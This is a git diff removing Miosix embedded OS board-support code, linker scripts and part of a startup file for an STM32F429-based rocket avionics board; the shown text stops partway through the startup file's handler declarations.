a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp deleted file mode 100644 index 55d1fe33d..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,314 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" -#include "hwmapping.h" - -namespace miosix { - -// -// Initialization -// - -/** - * The example code from ST checks for the busy flag after each command. - * Interestingly I couldn't find any mention of this in the datsheet. - */ -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; -} - -void configureSdram() -{ - //Enable all gpios, passing clock - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - - //First, configure SDRAM GPIOs - GPIOB->AFR[0]=0x0cc00000; - GPIOC->AFR[0]=0x0000000c; - GPIOD->AFR[0]=0x000000cc; - GPIOD->AFR[1]=0xcc000ccc; - GPIOE->AFR[0]=0xc00000cc; - GPIOE->AFR[1]=0xcccccccc; - GPIOF->AFR[0]=0x00cccccc; - GPIOF->AFR[1]=0xccccc000; - GPIOG->AFR[0]=0x00cc00cc; - GPIOG->AFR[1]=0xc000000c; - - GPIOB->MODER=0x00002800; - GPIOC->MODER=0x00000002; - GPIOD->MODER=0xa02a000a; - GPIOE->MODER=0xaaaa800a; - GPIOF->MODER=0xaa800aaa; - GPIOG->MODER=0x80020a0a; - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... - GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins - GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; - GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; - GPIOH->OSPEEDR=0xaaaaaaaa; - - //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, - //finish the job and remove the default pull-up - GPIOB->PUPDR=0; - - //Second, actually start the SDRAM controller - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) - //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency - | FMC_SDCR1_RBURST // Enable read burst - | 0; // 0 delay between reads after CAS - FMC_Bank5_6->SDCR[1]=0 // 8 bit column address - | FMC_SDCR1_NR_0 // 12 bit row address - | FMC_SDCR1_MWID_0 // 16 bit data bus - | FMC_SDCR1_NB // 4 banks - | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) - - #ifdef SYSCLK_FREQ_180MHz - //One SDRAM clock cycle is 11.1ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) - | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) - #elif defined(SYSCLK_FREQ_168MHz) - //One SDRAM clock cycle is 11.9ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) - | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) - #else - #error No SDRAM timings for this clock - #endif - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 1; // MODE=001 clock enabled - sdramCommandWait(); - - //ST and SDRAM datasheet agree a 100us delay is required here. - delayUs(100); - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 2; // MODE=010 precharge all command - sdramCommandWait(); - - FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says - // "at least two AUTO REFRESH cycles" - | FMC_SDCMR_CTB2 // Enable bank 2 - | 3; // MODE=011 auto refresh - sdramCommandWait(); - - FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 - | FMC_SDCMR_CTB2 // Enable bank 2 - | 4; // MODE=100 load mode register - sdramCommandWait(); - - // 64ms/4096=15.625us - #ifdef SYSCLK_FREQ_180MHz - //15.625us*90MHz=1406-20=1386 - FMC_Bank5_6->SDRTR=1386<<1; - #elif defined(SYSCLK_FREQ_168MHz) - //15.625us*84MHz=1312-20=1292 - FMC_Bank5_6->SDRTR=1292<<1; - #else - #error No refresh timings for this clock - #endif -} - -void IRQbspInit() -{ - //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here - #ifndef __ENABLE_XRAM - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - #endif //__ENABLE_XRAM - - using namespace interfaces; - spi1::sck::mode(Mode::ALTERNATE); - spi1::sck::alternateFunction(5); - spi1::miso::mode(Mode::ALTERNATE); - spi1::miso::alternateFunction(5); - spi1::mosi::mode(Mode::ALTERNATE); - spi1::mosi::alternateFunction(5); - - spi2::sck::mode(Mode::ALTERNATE); - spi2::sck::alternateFunction(5); - spi2::miso::mode(Mode::ALTERNATE); - spi2::miso::alternateFunction(5); - spi2::mosi::mode(Mode::ALTERNATE); - spi2::mosi::alternateFunction(5); - - i2c::scl::mode(Mode::ALTERNATE_OD); - i2c::scl::alternateFunction(4); - i2c::sda::mode(Mode::ALTERNATE_OD); - i2c::sda::alternateFunction(4); - - uart4::rx::mode(Mode::ALTERNATE); - uart4::rx::alternateFunction(8); - uart4::tx::mode(Mode::ALTERNATE); - uart4::tx::alternateFunction(8); - - can::rx::mode(Mode::ALTERNATE); - can::rx::alternateFunction(9); - can::tx::mode(Mode::ALTERNATE); - can::tx::alternateFunction(9); - - using namespace sensors; - adis16405::cs::mode(Mode::OUTPUT); - adis16405::cs::high(); - adis16405::nrst::mode(Mode::OUTPUT); - adis16405::nrst::high(); - adis16405::ckIn::mode(Mode::ALTERNATE); - adis16405::ckIn::alternateFunction(2); - adis16405::dio1::mode(Mode::INPUT); - - ad7994::ab::mode(Mode::INPUT); - ad7994::nconvst::mode(Mode::OUTPUT); - - max21105::cs::mode(Mode::OUTPUT); - max21105::cs::high(); - - mpu9250::cs::mode(Mode::OUTPUT); - mpu9250::cs::high(); - - ms5803::cs::mode(Mode::OUTPUT); - ms5803::cs::high(); - - using namespace actuators; - hbridgel::ena::mode(Mode::OUTPUT); - hbridgel::ena::low(); - hbridgel::in::mode(Mode::ALTERNATE); - hbridgel::in::alternateFunction(2); - hbridgel::csens::mode(Mode::INPUT_ANALOG); - - hbridger::ena::mode(Mode::OUTPUT); - hbridger::ena::low(); - hbridger::in::mode(Mode::ALTERNATE); - hbridger::in::alternateFunction(2); - hbridger::csens::mode(Mode::INPUT_ANALOG); - - InAir9B::cs::mode(Mode::OUTPUT); - InAir9B::cs::high(); - //NOTE: in the InAir9B datasheet is specified that the nRSR line should be - //on hi-Z state when idle, thus we set the gpio as open drain - InAir9B::nrst::mode(Mode::OPEN_DRAIN); - InAir9B::nrst::high(); - InAir9B::dio0::mode(Mode::INPUT); - InAir9B::dio1::mode(Mode::INPUT); - InAir9B::dio2::mode(Mode::INPUT); - InAir9B::dio3::mode(Mode::INPUT); - - _led::mode(Mode::OUTPUT); -// Removed led blink to speed up boot -// ledOn(); -// delayMs(100); -// ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - intrusive_ref_ptr devFs = basicFilesystemSetup(SDIODriver::instance()); - devFs->addDevice("gps", intrusive_ref_ptr(new STM32Serial(2,115200))); - devFs->addDevice("radio", intrusive_ref_ptr(new STM32Serial(3,115200))); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** - * For safety reasons, we never want the anakin to shutdown. - * When requested to shutdown, we reboot instead. - */ -void shutdown() -{ - reboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h deleted file mode 100644 index 4c22cc6c9..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h deleted file mode 100644 index 8ca15c695..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,116 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -namespace interfaces { - -namespace spi1 { -using sck = Gpio; -using miso = Gpio; -using mosi = Gpio; -} //namespace spi1 - -namespace spi2 { -using sck = Gpio; -using miso = Gpio; -using mosi = Gpio; -} //namespace spi1 - -namespace i2c { -using scl = Gpio; -using sda = Gpio; -} //namespace i2c - -namespace uart4 { -using tx = Gpio; -using rx = Gpio; -} //namespace uart4 - -namespace can { -using rx = Gpio; -using tx = Gpio; -} // namespace can -} //namespace interfaces - -namespace sensors { - -namespace adis16405 { -using cs = Gpio; -using dio1 = Gpio; -using nrst = Gpio; -using ckIn = Gpio; -} //namespace adis16405 - -namespace ad7994 { -using ab = Gpio; -using nconvst = Gpio; -} //namespace ad7994 - -namespace max21105 { -using cs = Gpio; -} //namespace max21105 - -namespace mpu9250 { -using cs = Gpio; -} //namespace mpu9250 - -namespace ms5803 { -using cs = Gpio; -} //namespace ms5803 -} //namespace sensors - -namespace actuators { -namespace hbridgel { -using ena = Gpio; -using in = Gpio; -using csens = Gpio; -} //namespace hbridgel - -namespace hbridger { -using ena = Gpio; -using in = Gpio; -using csens = Gpio; -} //namespace hbridger -} //namespace actuators - -namespace InAir9B { -using dio0 = Gpio; -using dio1 = Gpio; -using dio2 = Gpio; -using dio3 = Gpio; -using cs = Gpio; -using nrst = Gpio; -} //namespace InAir9B -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+256k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+256k_rom.ld deleted file mode 100644 index cfcc2ce53..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+256k_rom.ld +++ /dev/null @@ -1,181 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 192KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 192KB RAM */ -_end = 0x20000000; -_heap_end = 0x20030000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - backupram(rw): ORIGIN = 0x40024000, LENGTH = 4K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+8m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+8m_xram.ld deleted file mode 100644 index b6a0d2668..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/stm32_2m+8m_xram.ld +++ /dev/null @@ -1,178 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 8MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0800000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - backupram(rw): ORIGIN = 0x40024000, LENGTH = 4K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 8M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/core/stage_1_boot.cpp deleted file mode 100644 index c4d44696b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,414 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f42x devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - //ST does not provide code to initialize the stm32f429-disco SDRAM at boot. - //Put after SystemInit() as SDRAM is timing-sensitive and needs the full - //clock speed. - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void 